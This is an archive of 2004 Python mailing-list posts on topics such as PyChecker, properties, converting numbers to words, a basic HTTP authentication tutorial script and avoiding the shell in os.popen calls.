	<cjc61h$ag0$1@news2.wdf.sap.corp>
	<9418be08.0409281438.25e2abe@posting.google.com>
Message-ID: <cjcqao$ji0$1@gemini.csx.cam.ac.uk>

Elbert Lev wrote:

> I think, it would be good, if some sort of warning is given during
> import, but not during instantiating the instance of the class. At
> least in a "debug" mode. What really did happen: the bug was reported
> after the scrip was running for 30 minutes. PyCheck finds it
> immediatelly. Why not to do the same kind of check in the interpreter?

Can you post the results of your PyChecker run and the exact input to it?

I just did a test myself:

"""
$ cat test1.py
class X(object):
     def __init__(self):
         self.f()
         self.r = True

     def f(self):
         print self.r

def main():
     x = X()

$ pychecker test1.py
Processing test1...

Warnings...

test1.py:10: Local variable (x) not used
"""

I think that what you want the Python compiler to do is harder than you 
think it is, and not all cases will be caught unless you actually run 
the program.

I've forgotten to assign attributes and variables before using them in 
the past--it's just something you have to learn not to do.
-- 
Michael Hoffman


From mwh at python.net  Fri Sep 10 10:29:31 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 10 Sep 2004 14:29:31 GMT
Subject: my own type, print function
References: <chq9vd$c2l$1@schleim.qwe.de>
Message-ID: <m3hdq6b3jp.fsf@pc150.maths.bris.ac.uk>

Torsten Mohr <tmohr at s.netic.de> writes:

> Hi,
> 
> i have created an own type in C and have implemented
> the print function for it.

I'm not sure what your problem is, but my advice is: don't do that :)

I.e. don't fill out the tp_print slot of your type object unless your
object type has such a long printed representation that going via a
string representation is grossly inefficent.

Cheers,
mwh

-- 
 "Sturgeon's Law (90% of everything is crap) applies to Usenet."
 "Nothing guarantees that the 10% isn't crap, too."
                -- Gene Spafford's Axiom #2 of Usenet, and a corollary


From kepes.krisztian at peto.hu  Wed Sep  8 05:18:02 2004
From: kepes.krisztian at peto.hu (kepes.krisztian)
Date: Wed, 08 Sep 2004 11:18:02 +0200
Subject: Property confusion
Message-ID: <413ECE4A.8010609@peto.hu>

Peter wrote:
>>>>>

    kepes.krisztian wrote:

    [Same old question under a new subject]

    If you don't receive an answer within a reasonable time span you should
    consider rephrasing the problem, not just the header.

    I tried the code you gave and could not perceive any difference in the
    output of the two snippets. Maybe you can post an interactive
    session with
    just the statements that produce different output? Or you rename one
    class,
    to B, say, and add an assertion you expect to succeed but which
    fails, e.
    g.:

    class A(object):
    #...
    class B(object):
    #...

    assert A().some_attr == B().some_attr


    Peter


>>>>>
Sorry, I wrote wrong code. The good is that:


class A:
      __slots__=('x','a','__v')
      def __init__(self):
          self.__v=0
      def g(self):
          return self.__v
      def s(self,v):
          self.__v=v
      GS=property(g,s)

class B(object):
      def __init__(self):
          self.__v=0
      def g(self):
          return self.__v
      def s(self,v):
          self.__v=v
      GS=property(g,s)

lists=[[],[]]

key=0
lists[key].append("A")
a=A()
lists[key].append(a.g())
a.s(1)
lists[key].append(a.g())
lists[key].append(a.GS)
a.GS=2
lists[key].append(a.GS)
lists[key].append(a.g())

key=1
lists[key].append("B")
b=B()
lists[key].append(b.g())
b.s(1)
lists[key].append(b.g())
lists[key].append(b.GS)
b.GS=2
lists[key].append(b.GS)
lists[key].append(b.g())

print lists[0]
print lists[1]

If I not use object, the GS is used as member, not property.

['A', 0, 1, 1, 2, 1]
['B', 0, 1, 1, 2, 2]





From Brian.Inglis at SystematicSW.Invalid  Thu Sep  9 07:57:10 2004
From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis)
Date: Thu, 09 Sep 2004 11:57:10 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<opsdxecgt8pqzri1@mjolner.upc.no> <un000uufg.fsf@mail.comcast.net>
	<2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com>
Message-ID: <p6h0k0ds97g1ti7jl7jjmmac39bmgd0l6a@4ax.com>

On Thu, 09 Sep 2004 04:05:31 +0000 in alt.folklore.computers, Reynir
Stef?nsson <reynirhs at mi.is> wrote:

>So spake Anne & Lynn Wheeler:
>
>>OSI can support x.25 packet switching and/or even the arpanet packet
>>switching from the 60s & 70s .... but it precludes internetworking
>>protocol. internetworking protocol (aka internet for short) is a
>>(non-existant) layer in an OSI protocol stack between
>>layer3/networking and layer4/transport. misc. osi (& other) comments
>>http://www.garlic.com/~lynn/subnetwork.html#xtphsp
>
>Wasn't the idea behind ISO/OSI that there should be One Network for
>everybody, instead of today's lot of interconnected nets?

A common network run by PTTs with ISDN terminal links IIRC. 

-- 
Thanks. Take care, Brian Inglis 	Calgary, Alberta, Canada

Brian.Inglis at CSi.com 	(Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca)
    fake address		use address above to reply


From claird at lairds.us  Tue Sep 14 17:08:04 2004
From: claird at lairds.us (Cameron Laird)
Date: Tue, 14 Sep 2004 21:08:04 GMT
Subject: Communication between remote scripts
References: <mailman.3305.1095168708.5135.python-list@python.org>
Message-ID: <6u0k12-jl1.ln1@lairds.us>

In article <mailman.3305.1095168708.5135.python-list at python.org>,
Tim Golden  <tim.golden at viacom-outdoor.co.uk> wrote:
>| In article <MPG.1bb0b7d621a77bc598968c at news2.atlantic.net>, 
>| secun at yahoo.com says...
>| > I have a python script (A) that monitors a process (3rd 
>| party) on the 
>| > local machine (Windows).
>| > 
>| > I would like to create a second program on a remote Windows 
>| computer 
>| > that receives an update from program A periodically (maybe every 10 
>| > minutes or so), and tells it everything is running without 
>| a problem.
>| > 
>| > Can anyone recommend a good (and preferably simple) way for 
>| two programs 
>| > to communicate on a network? 
>
>| Am I correct in saying that remote objects are not really needed for 
>| this?
>
>You have several options:
>
>1) Email: sounds silly but is a perfectly reasonable solution if
>   you already had email infrastructure on both machines and
>   weren't that bothered about real time.
>
>2) UDP heartbeat: see this recipe in the Python Cookbook.
>   http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52302
>
>3) xml-rpc: see the Python docs.
>   http://python.org/doc/2.3.4/lib/module-xmlrpclib.html
>
>4) Pyro (Python Remote Objects). See http://pyro.sf.net.
>   I suspect you don't want this, given your follow-up
>   question. But it will work and is easy enough.
>
>5) Straight socket server stuff. Again, python docs.
>   http://python.org/doc/2.3.4/lib/module-SocketServer.html
>
>6) SOAP / DCOM (if you fancy your chances) / CORBA, other acronyms.
>
>Personally, I think xml-rpc is a good way to go for
>general purpose stuff. But since you're really just
>after a heartbeat, the UDP solution might be best.
			.
			.
			.
Nice description.

If the problem involved just a bit more information and variability
than a heartbeat, I'd start to recommend async and/or Twisted.


From aleaxit at yahoo.com  Tue Sep 14 10:33:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 16:33:29 +0200
Subject: Style conventions for Python code
References: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk>
Message-ID: <1gk42yq.b6erkw17nycqtN%aleaxit@yahoo.com>

Will McGugan <news at NOwillmcguganSPAM.com> wrote:
   ,,,
> Is there a recommended coding style for Python documented anywhere? 

http://www.python.org/peps/pep-0008.html


Alex


From jfabiani at yolo.com  Fri Sep 17 12:19:20 2004
From: jfabiani at yolo.com (John Fabiani)
Date: Fri, 17 Sep 2004 16:19:20 GMT
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<pan.2004.09.17.13.52.16.705912@thomas-guettler.de>
Message-ID: <c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com>

Thomas Guettler wrote:

> Am Fri, 17 Sep 2004 21:43:04 +1000 schrieb huy:
> 
>> Hi,
>> 
>> Just wondering if there were any plans (or existing projects) similar to
>> Java webstart for Python. I think this would be a boon for python. I
>> would love to start my new project using Python but the deployment (and
>> long term upgrading) factor is a major itch which pyfreeze and py2exe
>> just doesn't scratch properly.
> 
> Hi,
> 
> what does webstart do?
> 
>  Thomas
Actually it's very useful.  In the Java world you can set a central location
that a webstart program checks for possible updates.  It's very cool.
John




From lbates at syscononline.com  Tue Sep 28 12:55:34 2004
From: lbates at syscononline.com (Larry Bates)
Date: Tue, 28 Sep 2004 11:55:34 -0500
Subject: Problem with a dictionary program....
In-Reply-To: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
Message-ID: <ZJadnSMpP7XiCsTcRVn-oA@comcast.com>

Ling Lee wrote:
> Hello.
> 
> I'm trying to write a small program that lets you put in a number as an 
> integer and then it tells you the textuel representation of the number.
> 
> Like if your input is 42, it will say four two.
> 
> I found out that I have to make a dictionary like this: List = { 1:"one", 
> 2:"two" and so on )
> 
> and I have to use the raw_input method to get the number:
> 
> indput : raw_input(" Tell me the number you want to transform to textuel 
> representaion")
> 
> The I have to transform the input to a string
> indput = str(indput)
> 
> so that I can count how many decimals the number has, like 23 has 2 decimals 
> and 3000 has 4 decimals.
> 
> After I have gotten the lenght of the string, I will write a loop, that goes 
> through the dictionary as many times as the lengt of the string, and the 
> gives me the corresponding numbers, the numner 21 would go 2 times through 
> the loop and give me the output two one
> 
> Will one of you be so kind and tell me how I count the lengt of the indput 
> number i was thinking on something like input.count[:] but that dosnt 
> work...
> 
>  and how I make the loop.
> 
>  Im trying to understand dictionaries but have gotten a bit stuck...
> 
> Thanks for all replies....
> 
> 
> 
Here's an example of what you want:

""" Just run it, you'll see what it does.

This code is released into the public domain absolutely free by http://journyx.com
as long as you keep this comment on the document and all derivatives of it.

"""

def getfractionwords(num):
         frac = num-int(num)
         numstr = str(int(frac*100+.5))
         if len(numstr) == 1:
                 numstr = '0'+numstr
         fracstr = ' and ' + numstr + '/100'
         return fracstr

def convertDigit(digit):
         digits = ('', 'One', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 
'Eight', 'Nine')
         return digits[int(digit+.5)]

def breakintochunks(num):
         (left,right) = breakintwo(num)
         rv = [right]
         while left > 999:
                 (left,right) = breakintwo(left)
                 rv.append(right)
         rv.append(left)
         rv.reverse()
         return rv

def breakintwo(num):
         leftpart = int(num/1000.0)+0.0
         rightpart = 1000.0*(num/1000.0 - leftpart)
         return (int(leftpart+.5),int(rightpart+.5))

def enties(num):
         tens = ('','','Twenty' ,'Thirty', 'Forty', 'Fifty', 'Sixty',
                 'Seventy', 'Eighty', 'Ninety')
         indx = int(num/10.0)
         return tens[indx]

def convert2digit(num):
         teens = ('Ten', 'Eleven', 'Twelve', 'Thirteen', 'Fourteen',
                  'Fifteen', 'Sixteen', 'Seventeen', 'Eighteen', 'Nineteen')
         if num < 10:
                 return convertDigit(num)
         if num <20:
                 return teens[num-10]
         if num > 19:
                 tens = enties(num)
                 ones = convertDigit(10*(num/10.0-int(num/10.0)))
                 if ones:
                         rv= tens+'-'+ones
                 else:
                         rv=tens
                 return rv

def convert3digit(num):
         threenum = str(num)
         ln = len(threenum)
         if ln==3 :
                 a= convertDigit(int(threenum[0]))
                 b= ' Hundred '
                 c=     convert2digit(int(threenum[1:]))
                 return a+b+c
         if ln<3 :
                 return convert2digit(int(threenum))
         raise 'bad num',num

def num2words(num):
         thousandchunks = breakintochunks(int(num))
         rv = ' '
         if num >= 1000000:
                 rv=rv+ convert3digit(thousandchunks[-3])+ ' Million '
         if num >= 1000:
                 c3d= convert3digit(thousandchunks[-2])
                 if c3d:
                         rv=rv+ c3d+ ' Thousand '
         rv = rv + convert3digit(thousandchunks[-1])+ getfractionwords(num)
         return squishWhiteSpace(rv)

def squishWhiteSpace(strng):
         """ Turn 2 spaces into one, and get rid of leading and trailing
             spaces. """
         import string,re
         return string.strip(re.sub('[ \t\n]+', ' ', strng))

def main():
         for i in range(1,111,7):
                 print i,num2words(i)

         for i in (494.15, 414.90, 499.35, 400.98, 101.65, 110.94, \
                   139.85, 12349133.40, 2309033.75, 390313.41, 99390313.15, \
                   14908.05, 10008.49, 100008.00, 1000008.00, 100000008.00, \
                   14900.05, 10000.49, 100000.00, 1000000.00, 100000000.00, 8.49):
                 print i,num2words(i)

         import whrandom
         for i in range(33):
                 num = whrandom.randint(1,999999999) + whrandom.randint(1,99)/100.0
                 print num,num2words(num)

if __name__ == '__main__':
         main()


From fuzzyman at gmail.com  Wed Sep 15 11:37:12 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 15 Sep 2004 08:37:12 -0700
Subject: HTTP - basic authentication example.
Message-ID: <6f402501.0409150737.1bfc6958@posting.google.com>

#!/usr/bin/python -u
#  15-09-04
# v1.0.0

# auth_example.py
# A simple script manually demonstrating basic authentication.

# Copyright Michael Foord
# Free to use, modify and relicense.
# No warranty express or implied for the accuracy, fitness to purpose
or otherwise for this code....
# Use at your own risk !!!

# E-mail or michael AT foord DOT me DOT uk
# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html

"""
There is a system for requiring a username/password before a client
can visit a webpage. This is called authentication and is implemented
by the server - it actually allows for a whole set of pages (called a
realm) to require authentication. This scheme (or schemes) are
actually defined by the HTTP spec, and so whilst python supports
authentication it doesn't document it very well. The HTTP
documentation is in the form of RFCs
(http://www.faqs.org/rfcs/rfc2617.html for basic and digest
authentication) which are technical documents and so not the most
readable !!

When I searched the web for details on authentication with python I
found lots of people asking questions, but a lack of clear answers.
This document and example code shows how to manually do basic
authentication with python. It is an example for performing a simple
operation rather than a technical document.

I am doing it manually rather than using an auth handler because my
script is a CGI which runs once for each page access. I have to store
the username/passwords between each access. A 'manual' explanation
also shows more clearly what is happening.

I've seen references to three authentication schemes, BASIC, NTLM and
DIGEST. It's possible there are more - but BASIC authentication is
overwhelmingly the most common. This tutorial/example only covers
BASIC authentication although some of the details may be applicable to
the other schemes.

--

In all these examples we will be the python standard library urllib2
to fetch web pages.

A client is any program that makes requests over the internet. It
could be a browser - or it could be a python program. When a client
requests a web page it sends a request to the server. That request
consists of headers with certain information about the request. Here
we are calling these headers 'http request headers'. If the request
fails to reach a server (the server name doesn't exist or there is no
internet connection for example) then the request will just fail. If
the request is made by python then an exception will be raised. This
exception will have a 'reason' attribute that is a tuple describing
the error.

The example below shows us creating a urllib2 request object, adding a
fake 'User-Agent' request header and making a request. The resulting
error shows what happens if you try to fetch a webpage without an
internet connection. The User-Agent request header tells the server
what program is asking for the web page - some sites (e.g. google)
won't allow requests from anything other than a browser... so we might
have to pretend to be a browser. (Which is generally considered bad
client behaviour ? so I might get my knuckles rapped for including it
here?).

>>> import urllib2
>>> req = urllib2.Request('http://www.google.co.uk')
>>> req.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 5.5;
Windows NT)')
>>> try:
	handle = urllib2.urlopen(req)
except IOError, e:
	if hasattr(e, 'reason'):
		print 'Reason : '
		print e.reason
else:
	print handle.read()                  # if we had a connection this
would print the page

		
Reason : 
(7, 'getaddrinfo failed')
>>> 

The actual exception is an URLError which is a subclass of IOError -
the one tested for above in the try?except block. If you did a dir(e)
on the above example then you would see all the attributes of the
exception object.

If however the request reaches a server then the server will send a
response. Whether or not the request succeeds the response will
contain headers from the server (or CGI script!!). These we call here
'http response headers'. If there is a problem then the response will
include an error code - you are familiar with some of then 404 : Page
not found, 500 : Internal Server Error etc. In this case an exception
will still be raised by urllib2, but instead of a 'reason' attribute
it will have a code attribute. The code attribute is an integer that
corresponds to the http error code. (see
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html for a *full*
list of codes).

If a page requires authentication then the error code is 401. Included
in the response headers is a 'WWW-authenticate' header that tells you
what authentication scheme the server is using for this page *and*
also something called a realm. As you know it is rarely just a single
page that is protected by authentication but a whole 'realm' of a
website. The name of the realm is included in this header line. If the
client *already knows* the username/password for this realm then it
can encode them into the request headers and try again. If the
username/password combination are correct, then the request will
succeed as normal. If the client doesn't know the username/password it
should ask the user. This means that if you enter a  protected 'realm'
the client effectively has to request each page twice. The first time
it will get an error code and be told what realm it is attempting to
access ? the client can then get the right username/password for that
realm (on that server) and repeat the request.

Suppose we are attempt to fetch a webpage protected by basic
authentication.

>>> theurl = 'http://www.someserver.com/somepath/someprotectedpage.html'
>>> try:
	handle = urllib2.urlopen(theurl)
except IOError, e:
	if hasattr(e, 'code'):
		if e.code != 401:
			print 'We got another error'
			print e.code
		else:
			print e.headers
			print e.headers['www-authenticate']
		# print e.headers.get('www-authenticate', '') might be a safer way
of doing this

Note the following things. We accessed the page directly from the url
instead of creating a request object. If the exception has a 'code'
attribute it also has an attribute called 'headers'. This is a
dictionary like object with all the headers in ? but you can also
print it to display all the headers.  See the last line that displays
the 'www-authenticate' header line which ought to be present whenever
you get a 401 error.

WWW-Authenticate: Basic realm="cPanel"
Connection: close
Set-Cookie: cprelogin=no; path=/
Server: cpsrvd/9.4.2

Content-type: text/html

Basic realm="cPanel"

You can see the  authentication scheme and the 'realm' part of the
'www-authenticate' header. Assuming you know the username and password
you can then navigate around that website ? whenever you get a 401
error with *the same realm* you can just encode the username/password
into your request headers and your request should succeed.

Lets assume you need to access two pages which are likely to be in
same realm. Lets also assume that you know the username and password.
You can save the realm information from when you make the first
access, and whenever you get a 401 and the same realm (assuming your
request is from the same server) you know you can use the same
username/password. So the only detail left is knowing how to encode
the username/password into request header. This is done by encoding it
as a base 64 string. It doesn't actually look like clear text ? but it
is only the most vaguest of 'encryption'. This means basic
authentication is just that ? basic. Anyone sniffing your traffic who
sees an authentication request header will be able to extract your
username and password from it. Many websites (like yahoo or ebay) may
use javascript hashing/encryption to authenticate a login, which is
much harder to detect and mimic. You may need to use a proxy client
server and see what information your browser is actually sending to
the website (See http://groups.google.co.uk/groups?hl=en&lr=&ie=UTF-8&threadm=6f402501.0409100632.47e403f3%40posting.google.com&rnum=2
for a suggestion of several proxy servers that can do this).

There is a very simple recipe on the Activestate  Python Cookbook
(It's actually in the comments of this page
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 )
showing how to encode a username/password into a request header. It
looks like this :

import base64
base64string = base64.encodestring('%s:%s' % (data['name'],
data['pass']))[:-1]
req.add_header("Authorization", "Basic %s" % base64string)

Where req is our request object like in the first example.

Let's wrap all this up with an example that shows accessing a page,
doing the authentication and saving the realm. I use a regular
expression to pull the scheme and realm out of the authentication
response header. I use urlparse to get the server part of a url. If we
store the username/password (or the whole request header line) then we
can re-use that information automatically if we come across another
page in that realm.

Some websites may also use cookies with authentication. Luckily there
is a library that will allow you to have automatic cookie management
without thinking about it. This is ClientCookie
(http://wwwsearch.sourceforge.net/ClientCookie/ ). In python 2.4 it
becomes part of the python standard library as clientcookie. See my
cookbook example of how to use it
(http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/302930 ).
I've done a bigger example that displays a lot of http information
including cookies, headers, environment variables (the CGI
environment) and all this authentication stuff. You can find it at
(http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/298336 ).
"""

import urllib2, sys, re, base64
from urlparse import urlparse
theurl = 'http://www.someserver.com/somepath/somepage.html'           
# if you want to run this example you'll need to supply a protected
page with your username and password
username = 'johnny'
password = 'XXXXXX'            # a very bad password

req = urllib2.Request(theurl)
try:
    handle = urllib2.urlopen(req)
except IOError, e:                  # here we are assuming we fail
    pass
else:                               # If we don't fail then the page
isn't protected
    print "This page isn't protected by authentication."
    sys.exit(1)
    
if not hasattr(e, 'code') or e.code != 401:                 # we got
an error - but not a 401 error
    print "This page isn't protected by authentication."
    print 'But we failed for another reason.'
    sys.exit(1)

authline = e.headers.get('www-authenticate', '')                # this
gets the www-authenticat line from the headers - which has the
authentication scheme and realm in it
if not authline:
    print 'A 401 error without an authentication response header -
very weird.'
    sys.exit(1)
    
authobj = re.compile(r'''(?:\s*www-authenticate\s*:)?\s*(\w*)\s+realm=['"](\w+)['"]''',
re.IGNORECASE)          # this regular expression is used to extract
scheme and realm
matchobj = authobj.match(authline)
if not matchobj:                                        # if the
authline isn't matched by the regular expression then something is
wrong
    print 'The authentication line is badly formed.'
    sys.exit(1)
scheme = matchobj.group(1) 
realm = matchobj.group(2)
if scheme.lower() != 'basic':
    print 'This example only works with BASIC authentication.'
    sys.exit(1)

base64string = base64.encodestring('%s:%s' % (username,
password))[:-1]
authheader =  "Basic %s" % base64string
req.add_header("Authorization", authheader)
try:
    handle = urllib2.urlopen(req)
except IOError, e:                  # here we shouldn't fail if the
username/password is right
    print "It looks like the username or password is wrong."
    sys.exit(1)
thefirstpage = handle.read()
    
server = urlparse(theurl)[1].lower()            # server names are
case insensitive, so we will convert to lower case
test = server.find(':')
if test != -1: server = server[:test]           # remove the :port
information if present, we're working on the principle that realm
names per server are likely to be unique...

passdict = {(server, realm) : authheader }      # now if we get
another 401 we can test for an entry in passdict before having to ask
the user for a username/password

print 'Done successfully - information now stored in passdict.'

"""
ISSUES


CHANGELOG
15-09-04        Version 1.0.0
I think it's ok - a few references in the documentation to find.
"""


From nick at craig-wood.com  Wed Sep 29 15:30:12 2004
From: nick at craig-wood.com (Nick Craig-Wood)
Date: 29 Sep 2004 19:30:12 GMT
Subject: Avoiding shell metacharacters in os.popen
References: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com>
	<AIOdnUpr9ZfUdcfcRVn-ug@giganews.com>
Message-ID: <slrnclm1vh.oif.nick@irishsea.home.craig-wood.com>

Istvan Albert <ialbert at mailblocks.com> wrote:
>  Nick Craig-Wood wrote:
> 
> > Avoiding shell metacharacter attacks is a must for secure programs.
> 
>  Not passing down commands into a shell is a must for secure programs.
> 
>  What you should do is recognize a command, identify it as a
>  valid and allowed one, then call it yourself. 

I'm not running commands passed by the user - that would be nuts!

I'm running another program written by us.  The program doing the
running is a CGI and it needs to pass parameters to the second program
which come from the user.  It also needs to read the output of that
program - hence popen.

What my post was about was avoiding the shell completely.  If you use
os.system(string) then you go via the shell.  However if you use
os.spawnl(mode, file, *args) then it doesn't go anywhere near the
shell.  As I pointed out in my post there isn't an equivalent for
os.popen* which doesn't go via the shell (except for undocumented
os.popen2).

> If you think that escaping metacharacters gives you any kind of
> security you are deceiving yourself.

As a second best escaping the metacharacters and using os.popen will
work, but AFAICS there isn't a portable metacharacter escaping routine
built into python.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From apardon at forel.vub.ac.be  Wed Sep  1 05:57:53 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 1 Sep 2004 09:57:53 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<w1fZc.232606$0L.11991106@phobos.telenet-ops.be>
Message-ID: <slrncjb791.kp.apardon@trout.vub.ac.be>

Op 2004-09-01, Roel Schroeven schreef <rschroev_nospam_ml at fastmail.fm>:
> Antoon Pardon wrote:
>
>> Op 2004-08-31, Ville Vainio schreef <ville at spammers.com>:
>> 
>>>>>>>>"Antoon" == Antoon Pardon <apardon at forel.vub.ac.be> writes:
>>>
>>>   Antoon> The nesting reflects the structure of the algorithm. If an
>>>   Antoon> algorithm is best described by the nesting of a number of
>>>   Antoon> control structures then i don't see how you are going to
>>>   Antoon> remove that nesting.
>>>
>>>Functions and classes?
>> 
>> 
>> If you need a function or class just to avoid nesting, then IMO
>> you have only camoeflaged it. In order to understand what is
>> going on you still need to understand how the nesting of
>> a number of controls prroduce a certain result and when
>> you write a function just to avoid nesting it often enough
>> makes readablity harder.
>
> I disagree. I have never seen an algorithm that couldn't be neatly 
> subdivided in blocks, or where at least a block could be isolated. And 
> in my experience it always enhances the readability significantly.
>
Then that is fine for you and in that the case I would do the
same, but my experience is not bound by yours.

-- 
Antoon Pardon


From maxm at mxm.dk  Mon Sep 13 17:59:57 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 13 Sep 2004 23:59:57 +0200
Subject: PIL - setting the width of lines in ImageDraw
In-Reply-To: <oYadnekC_MYBi9vcRVn-pw@comcast.com>
References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk><eJCdnTShe4h9YNjcRVn-ug@comcast.com>
	<mailman.3265.1095107443.5135.python-list@python.org>
	<oYadnekC_MYBi9vcRVn-pw@comcast.com>
Message-ID: <41461819$0$222$edfadb0f@dread12.news.tele.dk>

Larry Bates wrote:
> There's nothing wrong with "slanted" rectangles.
> In PIL you just define upper left and lower right
> coordinates of the rectangle in pixels.  That's
> what a thick line would do anyway.

Yeah I know I could do it that way. But I would rather avoid it. Which 
is why I am using PIL to begin with.


regards Max M


From rlratzel at enthought.com  Wed Sep  8 19:36:39 2004
From: rlratzel at enthought.com (Rick Ratzel)
Date: 8 Sep 2004 16:36:39 -0700
Subject: Extending/Embedding python
References: <mailman.2744.1094082648.5135.python-list@python.org>
Message-ID: <ef95439.0409081536.1312ea35@posting.google.com>

Have you checked out elmer?

http://elmer.sourceforge.net

It generates the code needed to embed a Python module into a C
application.  Hope that helps,

Rick.


"Alicia Haumann" <alicia.haumann at orthodyne.com> wrote in message news:<mailman.2744.1094082648.5135.python-list at python.org>...
> I accidentally sent this to webmaster at python.org, so this could be a
> duplicate if "webmaster" forwards it to this list.  :{
> 
> Hi, there.
> 
> Thanks for any help that can be offered.  I've been working with Python for
> a year or more now, but only doing simple extending in C/C++.  I'm now
> attempting some embedding and several questions have come to mind.
> 
> BTW - I'm running Windows 2000 with Python23 and VisualC++ developers
> studio.
> 
> 1.  (Not extending/embedding related at all)  How can I pass in a load/bunch
> of defines so I can use them over and over again, instead of having to copy
> them in every *.py script.  All my scripts use an "extension" dll that I
> wrote that require a lot of constants.  I looked a lot at that PyMemberDef
> and Type stuff but didn't get it and don't know if that's the solution
> anyway.
> 
> 2.  A couple simple examples I've seen for initModule() are written
> differently.  One only calls Py_InitModule("module", module_methods), but
> the other also calls PyImport_AddModule("module").  What is the difference?
> What does PyImport_AddModule() accomplish?
> 
> 3.  When embedding Python into my simple application, why can't I pass
> application parameters?  PyRun_SimpleString seems to only take hard-coded
> values.  Can/How can I get around this?  My code looks like:
> 
>   if (!Py_IsInitialized())
>   {
>    Py_Initialize();
>   }
>   PyRun_SimpleString("import MyModule");
>   PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', 0x5555)");
>   PyRun_SimpleString("MyModule.MemoryTest(1, 0, 1)");
>   PyRun_SimpleString("MyModule.Shutdown()");
>   Py_Finalize();
> 
> But I'd like to pass application variables instead of the hard-coded 1, 0, 1
> and 0x5555, such as:
> 
> int appInt = 0x5555;
> PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', appInt)");
> 
> I know I'm missing something fundamental here.  Please advise.
> 
> Also, is there a mailing list that I should join for this topic?
> 
> Thank you!!!!!!
> 
> Alicia.


From eurleif at ecritters.biz  Thu Sep  2 03:22:14 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Thu, 02 Sep 2004 03:22:14 -0400
Subject: compiling to python byte codes
In-Reply-To: <4136b2b5$1@news.unimelb.edu.au>
References: <4136b2b5$1@news.unimelb.edu.au>
Message-ID: <2pnvpsFn74m5U1@uni-berlin.de>

Maurice LING wrote:
> Or is there any documentation or books that is the python equivalent of 
> "Programming for the Java Virtual Machine" by Joshua Engel?

Python's byte code isn't very stable, so you might have to recreate your 
entire code base with every new Python version. I would suggest 
generating Python code (not byte code) instead and compiling that.


From aleaxit at yahoo.com  Thu Sep 23 02:59:10 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 08:59:10 +0200
Subject: Python lists ans sequence protocol from C API
References: <cirskl$3kr$1@planja.arnes.si>
	<1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com>
	<cita3c$ahj$1@planja.arnes.si>
Message-ID: <1gkk67a.tvg17a5g8wy7N%aleaxit@yahoo.com>

Matjaz <surfmatj at email.si> wrote:

> Alex, thanks. In the meantime I also found out what I
> was doing wrong. One question, though. Would you
> prefer using Py_BuildValue("") over Py_None and
> increfing it?

Py_None with suitable incref is faster, Py_BuildValue is more compact,
not much in it either way.

Alex


From elainejackson7355 at home.com  Thu Sep  2 09:52:46 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Thu, 02 Sep 2004 13:52:46 GMT
Subject: namespace question
Message-ID: <OAFZc.303096$gE.251089@pd7tw3no>

I would like to be able to write a function f, which will live in a module M,
and will call a function g, such that, when f is imported from M into the
interpreter, and invoked there, its invokation of g will return the
interpreter's global namespace. Is there a way to do this and, if so, how?
Muchas gracias for any and all assistance.

Peace




From skip at pobox.com  Mon Sep  6 21:54:45 2004
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 6 Sep 2004 20:54:45 -0500
Subject: glossary wiki
In-Reply-To: <413A41FF.7030403@po-box.mcgill.ca>
References: <413A41FF.7030403@po-box.mcgill.ca>
Message-ID: <16701.5349.428173.177918@montanaro.dyndns.org>

    >> This brings up the question of standard terminology (e.g. for
    >> namespace). If one googles for python glossary, the top references
    >> are mostly
    >> 
    >> http://manatee.mojam.com/python-glossary
    >> 
    >> which seems not to have caught on so far (mea culpa too, since it
